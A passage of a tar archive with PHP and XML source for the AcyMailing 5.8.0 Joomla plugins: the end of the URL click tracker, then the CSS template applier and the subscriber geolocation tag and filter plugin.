			$internalUrl = strpos($simplifiedUrl, rtrim($simplifiedWebsite, '/')) === 0;

			$isFile = false;
			if($internalUrl){
				$path = str_replace('/', DS, str_replace($simplifiedWebsite, '', $simplifiedUrl));
				if(!empty($path) && $path != 'index.php' && $path != 'index2.php' && @file_exists(ACYMAILING_ROOT.DS.$path)) $isFile = true;
			}

			$subfolder = false;
			if($internalUrl){
				$urlWithoutBase = str_replace($simplifiedWebsite, '', $simplifiedUrl);
				if(strpos($urlWithoutBase, '/') || strpos($urlWithoutBase, '?')){
					$folderName = substr($urlWithoutBase, 0, strpos($urlWithoutBase, '/') == false ? strpos($urlWithoutBase, '?') : strpos($urlWithoutBase, '/'));
					if(strpos($folderName, '.') === false) $subfolder = @is_dir(ACYMAILING_ROOT.$folderName);
				}
			}

			$trackingSystem = $config->get('trackingsystem', 'acymailing');

			if(strpos($url, 'utm_source') === false && !$isFile && strpos($trackingSystem, 'google') !== false){
				if((!$internalUrl || $subfolder) && $trackingSystemExternalWebsite != 1) continue;
				$args = array();
				$args[] = 'utm_source=newsletter_'.@$email->mailid;
				$args[] = 'utm_medium=email';
				$args[] = 'utm_campaign='.@$email->alias;
				$anchor = '';
				if(strpos($url, '#') !== false){
					$anchor = substr($url, strpos($url, '#'));
					$url = substr($url, 0, strpos($url, '#'));
				}

				if(strpos($url, '?')){
					$mytracker = $url.'&'.implode('&', $args);
				}else{
					$mytracker = $url.'?'.implode('&', $args);
				}
				$mytracker .= $anchor;
				$urls[$results[0][$i]] = str_replace($results[1][$i], $mytracker, $results[0][$i]);
				$url = $mytracker;
			}

			if(strpos($trackingSystem, 'acymailing') !== false){
				if(!$internalUrl || $isFile || strpos($url, '#') !== false || $subfolder){
					if($trackingSystemExternalWebsite != 1) continue;
					if(preg_match('#subid|passw|modify|\{|%7B#i', $url)) continue;
					$mytracker = $urlClass->getUrl($url, $email->mailid, $user->subid);
				}else{
					if(preg_match('#=out&|/out/#i', $url)) continue;
					$extraParam = 'acm='.$user->subid.'_'.$email->mailid;
					if(strpos($url, '#')){
						$before = substr($url, 0, strpos($url, '#'));
						$after = substr($url, strpos($url, '#'));
					}else{
						$before = $url;
						$after = '';
					}
					$mytracker = $before.(strpos($before, '?') ? '&' : '?').$extraParam.$after;
				}

				if(empty($mytracker)) continue;
				$urls[$results[0][$i]] = str_replace($results[1][$i], $mytracker, $results[0][$i]);
			}
		}

		$email->body = str_replace(array_keys($urls), $urls, $email->body);
		$email->altbody = str_replace(array_keys($urls), $urls, $email->altbody);
	}//endfct

	function onAcyDisplayTriggers(&$triggers){
		$triggers['clickurl'] = acymailing_translation('ON_USER_CLICK');
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($this->params->get('displayfilter_'.$context, true) == false) return;

		$db = JFactory::getDBO();
		$db->setQuery("SELECT `mailid`,CONCAT(`subject`,' ( ',`mailid`,' )') as 'value' FROM `#__acymailing_mail` WHERE `type` IN('news', 'autonews', 'followup', 'welcome', 'unsub', 'joomlanotification', 'action') ORDER BY `senddate` DESC LIMIT 5000");
		$allemails = $db->loadObjectList();
		if(empty($allemails)) return;
		$element = new stdClass();
		$element->mailid = 0;
		$element->value = acymailing_translation('EMAIL_NAME');
		array_unshift($allemails, $element);

		$type['clickstats'] = acymailing_translation('CLICK_STATISTICS');

		$jsOnChange = 'if(document.getElementById(\'filter__num__clickstats_urlid\')){ document.getElementById(\'filter__num__clickstats_urlid\').value=\'all\';}';
		$jsOnChange .= 'displayCondFilter(\'changeList\', \'toChange__num__\',__num__,\'mailid=\'+document.getElementById(\'filter__num__clickstats_mailid\').value);';

		$return = '<div id="filter__num__clickstats">'.acymailing_select($allemails, "filter[__num__][clickstats][mailid]", 'onchange="'.$jsOnChange.'" class="inputbox" size="1" style="max-width:200px"', 'mailid', 'value', null, 'filter__num__clickstats_mailid');

		$clicked = array();
		$clicked[] = acymailing_selectOption(0, acymailing_translation('CLICKED_LINK'));
		$clicked[] = acymailing_selectOption(1, acymailing_translation('ACY_NOT_CLICK'));

		$return .= acymailing_select($clicked, "filter[__num__][clickstats][clicked]", 'onchange="countresults(__num__);" class="inputbox" size="1" style="width:110px"', 'value', 'text', 0);
		$return .= ' <span id="toChange__num__"><input type="text" name="filter[__num__][clickstats][urlid]" value="0" readonly="readonly"/></span></div>';

		return $return;
	}

	function onAcyTriggerFct_changeList(){
		$db = JFactory::getDBO();
		$mailid = acymailing_getVar('none', 'mailid');
		$num = acymailing_getVar('int', 'num');
		if($mailid == 0){
			$queryUrl = "SELECT urlid, CONCAT(name, ' ( ',urlid,' )') AS 'name' FROM #__acymailing_url WHERE SUBSTRING(`name`,1,230) != SUBSTRING(`url`,1,230) ORDER BY name ASC";
		}else{
			$queryUrl = "SELECT u.urlid, CONCAT(u.name, ' ( ',u.urlid,' )') AS 'name' FROM #__acymailing_url AS u LEFT JOIN #__acymailing_urlclick AS uc ON u.urlid=uc.urlid WHERE uc.mailid=".intval($mailid)." GROUP BY u.urlid ORDER BY u.name ASC";
		}
		$db->setQuery($queryUrl);
		$allurls = $db->loadObjectList();

		$element = new stdClass();
		$element->urlid = 'all';
		$element->name = acymailing_translation('ALL_URLS');
		array_unshift($allurls, $element);

		return acymailing_select($allurls, "filter[".$num."][clickstats][urlid]", 'onchange="countresults('.$num.')" class="inputbox" size="1" style="width:150px;"', 'urlid', 'name', null, 'filter'.$num.'clickstats_urlid');
	}

	function onAcyProcessFilterCount_clickstats(&$query, $filter, $num){
		$this->onAcyProcessFilter_clickstats($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilter_clickstats(&$query, $filter, $num){
		$alias = 'url'.$num;
		$join = '#__acymailing_urlclick AS '.$alias.' ON sub.subid = '.$alias.'.subid';
		if(intval($filter['mailid']) != 0){
			$join .= ' AND '.$alias.'.mailid = '.intval($filter['mailid']);
		}

		if($filter['urlid'] != 'all' && intval($filter['urlid']) != 0){
			$join .= ' AND '.$alias.'.urlid = '.intval($filter['urlid']);
		}

		if(empty($filter['clicked'])){
			$query->join[$alias] = $join;
		}else{ // if == 1 => select the users that didn't click
			$query->leftjoin[$alias] = $join;
			$query->where[$alias] = $alias.'.subid IS NULL';
		}
	}
}//endclass
                                                                                                                                                              acymailing/urltracker/index.html                                                                    0000705                 00000000054 15242051520 0013025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/template/index.html                                                                      0000705                 00000000054 15242051520 0012462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/template/template.php                                                                    0000705                 00000030122 15242051520 0013010 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTemplate extends JPlugin{

	var $templates = array();
	var $tags = array();
	var $headerstyles = array();
	var $others = array();
	var $stylesheets = array();
	var $templateClass = '';
	var $config;

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'template');
			$this->params = new acyParameter($plugin->params);
		}
		$this->config = acymailing_config();
		if(version_compare(PHP_VERSION, '5.0.0', '>=') && class_exists('DOMDocument') && function_exists('mb_convert_encoding')){
			require_once(ACYMAILING_FRONT.'inc'.DS.'emogrifier'.DS.'emogrifier.php');
		}
	}

	private function _applyTemplate(&$email, $addbody){
		if(empty($email->tempid)) return;

		if(!isset($this->templates[$email->tempid])){
			$this->headerstyles[$email->tempid] = array();
			$this->headerstyles[$email->tempid][] = '.ReadMsgBody{width: 100%;}';
			$this->headerstyles[$email->tempid][] = '.ExternalClass{width: 100%;}';
			$this->headerstyles[$email->tempid][] = 'div, p, a, li, td { -webkit-text-size-adjust:none; }';
			$this->headerstyles[$email->tempid][] = 'a[x-apple-data-detectors]{
			color: inherit !important;
			text-decoration: inherit !important;
			font-size: inherit !important;
			font-family: inherit !important;
			font-weight: inherit !important;
			line-height: inherit !important;
			}';

			$this->templates[$email->tempid] = array();
			if(empty($this->templateClass)){
				$this->templateClass = acymailing_get('class.template');
			}
			if(!empty($email->template) && $email->tempid == $email->template->tempid){
				$template = $email->template;
			}else{
				$template = $email->template = $this->templateClass->get($email->tempid);
			}

			if(!empty($template->styles) OR !empty($template->stylesheet)){
				$this->stylesheets[$email->tempid] = $this->templateClass->buildCSS($template->styles, $template->stylesheet);

				if(preg_match_all('#@import[^;]*;#is', $this->stylesheets[$email->tempid], $results)){
					foreach($results[0] as $oneResult){
						array_unshift($this->headerstyles[$email->tempid], trim($oneResult));
					}
				}

				if(preg_match_all('#@media.*}[^{}]*}#Uis', $this->stylesheets[$email->tempid], $results)){

					foreach($results[0] as $oneResult){
						$this->stylesheets[$email->tempid] = str_replace($oneResult, '', $this->stylesheets[$email->tempid]);
						$this->headerstyles[$email->tempid][] = trim($oneResult);
					}
				}

				if(preg_match_all('#}([^}]+:hover[^{]*{[^{]*})#Uis', '} '.$this->stylesheets[$email->tempid], $results)){
					foreach($results[1] as $oneResult){
						$this->stylesheets[$email->tempid] = str_replace($oneResult, '', $this->stylesheets[$email->tempid]);
						$this->headerstyles[$email->tempid][] = trim($oneResult);
					}
				}
			}


			if(!empty($template->styles)){
				foreach($template->styles as $class => $style){
					if(empty($style)) continue;
					if(preg_match('#^tag_(.*)$#', $class, $result)){
						$this->tags[$email->tempid]['#< *'.$result[1].'((?:(?!style).)*)>#Ui'] = '<'.$result[1].' style="'.$style.'" $1>';
						if(strpos($style, '!important')) $this->headerstyles[$email->tempid][] = $result[1].'{ '.str_replace('!important', '', $style).' }';
					}elseif($class == 'color_bg'){
						$this->others[$email->tempid][$class] = $style;
					}else{
						$this->templates[$email->tempid]['class="'.$class.'"'] = 'style="'.$style.'"';
					}
				}
				if(!empty($template->styles['tag_a'])){
					$this->headerstyles[$email->tempid][] = 'a:visited{'.$template->styles['tag_a'].'}';
				}
			}
		}

		if($addbody AND !strpos($email->body, '</body>')){
			$before = '<html><head>'."\n";
			$before .= '<meta http-equiv="Content-Type" content="text/html; charset='.strtolower($this->config->get('charset')).'" />'."\n";
			$before .= '<meta name="viewport" content="width=device-width, initial-scale=1.0" />'."\n";
			$before .= '<title>'.$email->subject.'</title>'."\n";
			if(!empty($this->headerstyles[$email->tempid])){
				$before .= '<style type="text/css">'."\n";
				$before .= implode("\n", $this->headerstyles[$email->tempid])."\n";
				$before .= '</style>'."\n";
			}
			$before .= '</head>'."\n".'<body yahoo="fix"';
			if(!empty($this->others[$email->tempid]['color_bg'])) $before .= ' bgcolor="'.$this->others[$email->tempid]['color_bg'].'" ';
			$before .= '>'."\n";
			$email->body = $before.$email->body.'</body>'."\n".'</html>';
		}

		if(!empty($this->stylesheets[$email->tempid]) AND class_exists('acymailingEmogrifier')){
			$emogrifier = new acymailingEmogrifier($email->body, $this->stylesheets[$email->tempid]);
			$email->body = $emogrifier->emogrify();

			if(!$addbody AND strpos($email->body, '<!DOCTYPE') !== false){
				$email->body = preg_replace('#<\!DOCTYPE.*<body([^>]*)>#Usi', '', $email->body);
				$email->body = preg_replace('#</body>.*$#si', '', $email->body);
			}
		}else{
			if(!empty($this->templates[$email->tempid])){
				$email->body = str_replace(array_keys($this->templates[$email->tempid]), $this->templates[$email->tempid], $email->body);
			}

			if(!empty($this->tags[$email->tempid])){
				$email->body = preg_replace(array_keys($this->tags[$email->tempid]), $this->tags[$email->tempid], $email->body);
			}
		}

		$newbody = preg_replace('#(<(div|tr|td|table)[^>]*)title="[^"]*"#Uis', '$1', $email->body);
		if(!empty($newbody)) $email->body = $newbody;

		$newbody = preg_replace('# id="zone_[0-9]+"#Uis', ' ', $email->body);
		if(!empty($newbody)) $email->body = $newbody;

		$newbody = preg_replace('# *(acyeditor_text|acyeditor_picture|acyeditor_delete|acyeditor_sortable|ui-sortable) *#is', '', $email->body);
		$newbody = preg_replace('#(class|title|style|id)=" *"#Ui', '', $newbody);
		if(!empty($newbody)) $email->body = $newbody;
	}

	public function acymailing_replaceusertags(&$email, &$user, $send = true){

		if(!$email->sendHTML) return;

		if((!acymailing_level(1) || acymailing_level(4)) && !empty($email->type) && in_array($email->type, array('news', 'followup'))){
			$pict = '<div style="text-align:center;margin:10px auto;display:block;"><a target="_blank" href="https://www.acyba.com/?utm_source=acymailing&utm_medium=e-mail&utm_content=img&utm_campaign=powered-by"><img alt="Powered by AcyMailing" src="media/com_acymailing/images/poweredby.png" /></a></div>';

			if(strpos($email->body, '</body>')){
				$email->body = str_replace('</body>', $pict.'</body>', $email->body);
			}else{
				$email->body .= $pict;
			}
		}

		$this->_applyTemplate($email, $send);

		$email->body = preg_replace('#< *(tr|td|table)([^>]*)(style="[^"]*)background-image *: *url\(\'?([^)\']*)\'?\);?#Ui', '<$1 background="$4" $2 $3', $email->body);
		$email->body = acymailing_absoluteURL($email->body);

		if(preg_match_all('#< *img([^>]*)>#Ui', $email->body, $allPictures)){

			foreach($allPictures[0] as $i => $onePict){
				if(strpos($onePict, 'align=') !== false) continue;
				if(!preg_match('#(style="[^"]*)(float *: *)(right|left|top|bottom|middle)#Ui', $onePict, $pictParams)) continue;

				$newPict = str_replace('<img', '<img align="'.$pictParams[3].'" ', $onePict);

				$email->body = str_replace($onePict, $newPict, $email->body);

				if(strpos($onePict, 'hspace=') !== false) continue;

				$hspace = 5;
				if(preg_match('#margin(-right|-left)? *:([^";]*)#i', $onePict, $margins)){
					$currentMargins = explode(' ', trim($margins[2]));
					$myMargin = (count($currentMargins) > 1) ? $currentMargins[1] : $currentMargins[0];
					if(strpos($myMargin, 'px') !== false) $hspace = preg_replace('#[^0-9]#i', '', $myMargin);
				}

				$lastPict = str_replace('<img', '<img hspace="'.$hspace.'" ', $newPict);

				$email->body = str_replace($newPict, $lastPict, $email->body);
			}
		}

		if(!preg_match('#(<thead|<tfoot|< *tbody *[^> ]+ *>)#Ui', $email->body)){
			$email->body = preg_replace('#< *\/? *tbody *>#Ui', '', $email->body);
		}

		$email->body = preg_replace_callback('/src="([^"]* [^"]*)"/Ui', array($this, '_convertSpaces'), $email->body);

		$this->fixPictureSize($email->body);

		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$acypluginsHelper->fixPictureDim($email->body);
	}//endfct

	public function acymailing_replacetags(&$email, $send = true){
		$this->linksSEF($email);
	}

	public function linksSEF(&$email){
		$results = array();
		$altresults = array();
		$found = preg_match_all('#(?:{|%7B)acyfrontsef(?:}|%7D)(.*)(?:{|%7B)/acyfrontsef(?:}|%7D)#Uis', $email->body, $results);
		$found = preg_match_all('#(?:{|%7B)acyfrontsef(?:}|%7D)(.*)(?:{|%7B)/acyfrontsef(?:}|%7D)#Uis', $email->altbody, $altresults) || $found;

		if(!$found) return;

		$results[0] = array_merge($results[0], $altresults[0]);
		$results[1] = array_merge($results[1], $altresults[1]);

		$clearesults = array(0 => array(), 1 => array());
		foreach($results[0] as $i => $val){
			if(in_array($val, $clearesults[0])) continue;
			$clearesults[0][] = $val;
			$clearesults[1][] = $results[1][$i];
		}
		$results = $clearesults;

		$urls = '';
		$i = 0;
		$passedResults = array(0 => array(), 1 => array());
		foreach($results[1] as $key => $link){
			$urls .= '&urls['.$i.']='.base64_encode($link);
			$passedResults[0][] = $results[0][$key];
			$passedResults[1][] = $link;
			$i++;

			if($i > 40){
				$this->_callFrontURL($email, $urls, $passedResults);
				$passedResults = array(0 => array(), 1 => array());
				$urls = '';
				$i = 0;
			}
		}

		if(!empty($urls)) $this->_callFrontURL($email, $urls, $passedResults);
	}

	private function _callFrontURL(&$email, $urls, $results){
		$sefLinks = acymailing_fileGetContent(acymailing_rootURI().'index.php?option=com_acymailing&ctrl=url&task=sef'.$urls);
		$newLinks = json_decode($sefLinks, true);

		if($newLinks == null){
			if(!empty($sefLinks) && defined('JDEBUG') && JDEBUG) acymailing_enqueueMessage('Error trying to get the sef links: '.$sefLinks);

			$otherarguments = '';
			$liveParsed = parse_url(ACYMAILING_LIVE);
			if(isset($liveParsed['path']) AND strlen($liveParsed['path']) > 0){
				$mainurl = substr(ACYMAILING_LIVE, 0, strrpos(ACYMAILING_LIVE, $liveParsed['path'])).'/';
				$otherarguments = trim(str_replace($mainurl, '', ACYMAILING_LIVE), '/');
				if(strlen($otherarguments) > 0) $otherarguments .= '/';
			}else{
				$mainurl = ACYMAILING_LIVE;
			}

			$newLinks = array();
			foreach($results[1] as $link){
				$key = $link;
				$link = ltrim($link, '/');
				if(!empty($otherarguments) && strpos($link, $otherarguments) === false) $link = $otherarguments.$link;
				$newLinks[$key] = $mainurl.$link;
			}
		}
		$replacement = array();
		if(empty($newLinks)) return;

		foreach($results[1] as $key => $origin){
			$replacement[$results[0][$key]] = $newLinks[$results[1][$key]];
		}

		$email->body = str_replace(array_keys($replacement), $replacement, $email->body);
		$email->altbody = str_replace(array_keys($replacement), $replacement, $email->altbody);
	}

	public function _convertSpaces($matches){
		return "src='".str_replace(' ', '%20', $matches[1])."'";
	}

	private function fixPictureSize(&$body){
		if(!preg_match_all('#(<img)([^>]*>)#i', $body, $results)) return;

		$replace = array();
		$widthheight = array('width', 'height');
		foreach($results[0] as $num => $oneResult){
			$add = array();
			foreach($widthheight as $whword){
				if(preg_match('#'.$whword.' *=#i', $oneResult) || !preg_match('#[^a-z_\-]'.$whword.' *:([0-9 ]{1,8})px#i', $oneResult, $resultWH)) continue;

				if(empty($resultWH[1])) continue;
				$add[] = $whword.'="'.trim($resultWH[1]).'" ';
			}
			if(!empty($add)) $replace[$oneResult] = '<img '.implode(' ', $add).$results[2][$num];
		}

		if(empty($replace)) return;

		$body = str_replace(array_keys($replace), $replace, $body);
	}
}//endclass
                                                                                                                                                                                                                                                                                                                                                                                                                                              acymailing/template/template.xml                                                                    0000705                 00000002233 15242051520 0013023 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Template Class Replacer</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables AcyMailing to replace CSS class in each email</description>
	<files>
		<filename plugin="template">template.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-template"/>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-template"/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                     acymailing/geolocation/index.html                                                                   0000705                 00000000054 15242051520 0013152 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/geolocation/geolocation.xml                                                              0000705                 00000003615 15242051520 0014210 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Geolocation : Tag and filter</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add information on the geolocation of the subscriber in your Newsletter and use it in filters</description>
	<files>
		<filename plugin="geolocation">geolocation.php</filename>
		<filename>index.html</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-geolocation"/>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-geolocation"/>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                   acymailing/geolocation/geolocation.php                                                              0000705                 00000022222 15242051520 0014172 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingGeolocation extends JPlugin{
	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'geolocation');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){
		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('GEOLOCATION');
		$onePlugin->function = 'acymailinggeolocation_show';
		$onePlugin->help = 'plugin-geolocation';

		return $onePlugin;
	}

	function acymailinggeolocation_show(){
		?>
		<script language="javascript" type="text/javascript">
			function applyTag(tagname){
				var string = '{geoloc:' + tagname;
				if(document.adminForm.geolocType && document.adminForm.geolocType.value != '0'){
					string += '|info:' + document.adminForm.geolocType.value;
				}
				string += '}';
				setTag(string);
				insertTag();
			}
		</script>
		<?php
		$descriptions['geolocation_type'] = acymailing_translation('ACY_ACTION');
		$descriptions['geolocation_ip'] = acymailing_translation('SUBSCRIBER_IP');
		$descriptions['geolocation_created'] = acymailing_translation('CREATED_DATE');
		$descriptions['geolocation_country'] = acymailing_translation('COUNTRYCAPTION');
		$descriptions['geolocation_country_code'] = acymailing_translation('GEOLOC_COUNTRYCODE');
		$descriptions['geolocation_state'] = acymailing_translation('STATECAPTION');
		$descriptions['geolocation_state_code'] = acymailing_translation('GEOLOC_STATECODE');
		$descriptions['geolocation_city'] = acymailing_translation('CITYCAPTION');
		$descriptions['geolocation_postal_code'] = acymailing_translation('GEOLOC_POSTALCODE');
		$descriptions['geolocation_latitude'] = acymailing_translation('GEOLOC_LATITUDE');
		$descriptions['geolocation_longitude'] = acymailing_translation('GEOLOC_LONGITUDE');
		$descriptions['geolocation_continent'] = acymailing_translation('GEOLOC_CONTINENT');
		$descriptions['geolocation_timezone'] = acymailing_translation('GEOLOC_TIMEZONE');

		$config = acymailing_config();
		$geoloc = $config->get('geolocation');
		$geoloc = explode(',', $geoloc);
		if(array_search('1', $geoloc) !== false) array_splice($geoloc, array_search('1', $geoloc), 1);
		$listOptions = array();
		$listOptions[] = acymailing_selectOption('0', acymailing_translation('GEOLOC_RECENT'));
		foreach($geoloc as $oneType){
			$listOptions[] = acymailing_selectOption($oneType, $oneType);
		}
		$text = '';
		if(acymailing_getVar('none', 'type') != 'notification'){
			$text .= acymailing_translation('ACY_ACTION').': '.acymailing_select($listOptions, 'geolocType', 'size="1"');
		}

		$text .= '<div class="onelineblockoptions">
					<table class="acymailing_table" cellpadding="1">';
		$fields = acymailing_getColumns('#__acymailing_geolocation');

		$k = 0;
		foreach($fields as $fieldname => $oneField){
			if(!isset($descriptions[$fieldname]) AND $oneField == 'tinyint') continue;
			if(in_array($fieldname, array('geolocation_id', 'geolocation_subid'))) continue;

			$type = '';
			if($fieldname == 'geolocation_created') $type = '|type:time';

			$tagName = $fieldname;
			if(acymailing_getVar('none', 'type') == 'notification') $tagName = 'notif_'.$fieldname;

			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="applyTag(\''.$tagName.$type.'\');" ><td class="acytdcheckbox"></td><td>'.$fieldname.'</td><td>'.@$descriptions[$fieldname].'</td></tr>';
			$k = 1 - $k;
		}

		$text .= '</table></div>';

		echo $text;
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$variables = array('subject', 'body', 'altbody');
		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$result = $acypluginsHelper->extractTags($email, 'geoloc');
		$tags = array();
		$db = JFactory::getDBO();

		foreach($result as $key => $oneTag){
			if(!empty($user->subid)){
				$query = 'SELECT * FROM #__acymailing_geolocation WHERE geolocation_subid='.$user->subid;
				if(!empty($oneTag->info->value)){
					$query .= ' AND geolocation_type='.$db->Quote($oneTag->info->value);
				}
				$query .= ' ORDER BY geolocation_created DESC LIMIT 1';
				$db->setQuery($query);
				$sqlRes = $db->loadObject();
			}
			$field = $oneTag->id;
			if(!empty($sqlRes) && !empty($sqlRes->$field)){
				$text = $sqlRes->$field;
				$acypluginsHelper->formatString($text, $oneTag);
				$tags[$key] = $text;
			}else{
				$tags[$key] = $oneTag->default;
			}
		}
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
		}
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($this->params->get('displayfilter_'.$context, true) == false) return;

		$db = JFactory::getDBO();
		$fields = acymailing_getColumns('#__acymailing_geolocation');
		if(empty($fields)) return;

		$field = array();
		$field[] = acymailing_selectOption('', '- - -');
		foreach($fields as $oneField => $fieldType){
			if($oneField == 'geolocation_id' || $oneField == 'geolocation_subid') continue;
			$field[] = acymailing_selectOption($oneField, $oneField);
		}
		$type['geolocfield'] = acymailing_translation('GEOLOCATION');

		$jsOnChange = "var searchMap = document.getElementById('filter__num__geolocfieldmap').value; ";
		$jsOnChange .= "var displayVal = 'ok'; ";
		$jsOnChange .= "if(document.getElementById('filter__num__geolocfieldoperator').value != '='){ displayVal = 'no'; } ";
		$jsOnChange .= "displayCondFilter('displayValues', 'toChange__num__',__num__,'geolocMap='+searchMap+'&displayCond='+displayVal+'&value='+document.getElementById('filter__num__geolocfieldvalue').value); ";

		$operators = acymailing_get('type.operators');
		$operators->extra = 'onchange="'.$jsOnChange.'"';

		$return = '<div id="filter__num__geolocfield">'.acymailing_select($field, "filter[__num__][geolocfield][map]", 'onchange="'.$jsOnChange.'" class="inputbox" size="1"', 'value', 'text');
		$return .= ' '.$operators->display("filter[__num__][geolocfield][operator]").' <span id="toChange__num__"><input onchange="countresults(__num__)" class="inputbox" type="text" name="filter[__num__][geolocfield][value]" id="filter__num__geolocfieldvalue" style="width:200px" value=""></span></div>';
		return $return;
	}

	function onAcyTriggerFct_displayValues(){
		$num = acymailing_getVar('int', 'num');
		$geolocMap = acymailing_getVar('string', 'geolocMap');
		$displayCond = acymailing_getVar('string', 'displayCond');
		$value = acymailing_getVar('string', 'value');

		$emptyInputReturn = '<input onchange="countresults('.$num.')" class="inputbox" type="text" name="filter['.$num.'][geolocfield][value]" id="filter'.$num.'geolocfieldvalue" style="width:200px" value="'.$value.'">';

		$listType = array('geolocation_type', 'geolocation_postal_code', 'geolocation_country', 'geolocation_country_code', 'geolocation_state', 'geolocation_state_code', 'geolocation_city');
		if(!empty($geolocMap) && $displayCond == 'ok' && in_array($geolocMap, $listType)){
			$db = JFactory::getDBO();
			$query = 'SELECT DISTINCT '.acymailing_secureField($geolocMap).' FROM #__acymailing_geolocation LIMIT 100';
			$db->setQuery($query);
			$geolocPropositions = acymailing_loadResultArray($db);

			if(empty($geolocPropositions) || count($geolocPropositions) >= 100 || (count($geolocPropositions) == 1 && (empty($geolocPropositions[0]) || $geolocPropositions[0] == '-'))) return $emptyInputReturn;

			$valueProp = array();
			foreach($geolocPropositions as $proposition){
				$element = new stdClass();
				$element->valueProp = $proposition;
				array_push($valueProp, $element);
			}
			return acymailing_select($valueProp, "filter[$num][geolocfield][value]", 'onchange="countresults('.$num.')" class="inputbox" size="1" style="width:200px"', 'valueProp', 'valueProp', $value, 'filter'.$num.'geolocfieldvalue');
		}else{ // free input
			return $emptyInputReturn;
		}
	}

	function onAcyDisplayFilter_geolocfield($filter){
		return acymailing_translation('GEOLOCATION').' : '.$filter['map'].' '.$filter['operator'].' '.$filter['value'];
	}

	function onAcyProcessFilter_geolocfield(&$query, $filter, $num){
		if(empty($filter['map'])){
			$query->where[] = '1=0';
			return;
		}
		$query->leftjoin['geolocfield'] = '#__acymailing_geolocation AS geol ON geol.geolocation_subid=sub.subid';

		$value = acymailing_replaceDate($filter['value']);
		if(!is_numeric($value) && ($filter['map'] == 'geolocation_created')) $value = strtotime($value);

		$query->where[] = $query->convertQuery('geol', $filter['map'], $filter['operator'], $value);
	}

	function onAcyProcessFilterCount_geolocfield(&$query, $filter, $num){
		$this->onAcyProcessFilter_geolocfield($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}
}
                                                                                                                                                                                                                                                                                                                                                                              acymailing/index.html                                                                               0000705                 00000000054 15242051520 0010647 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body 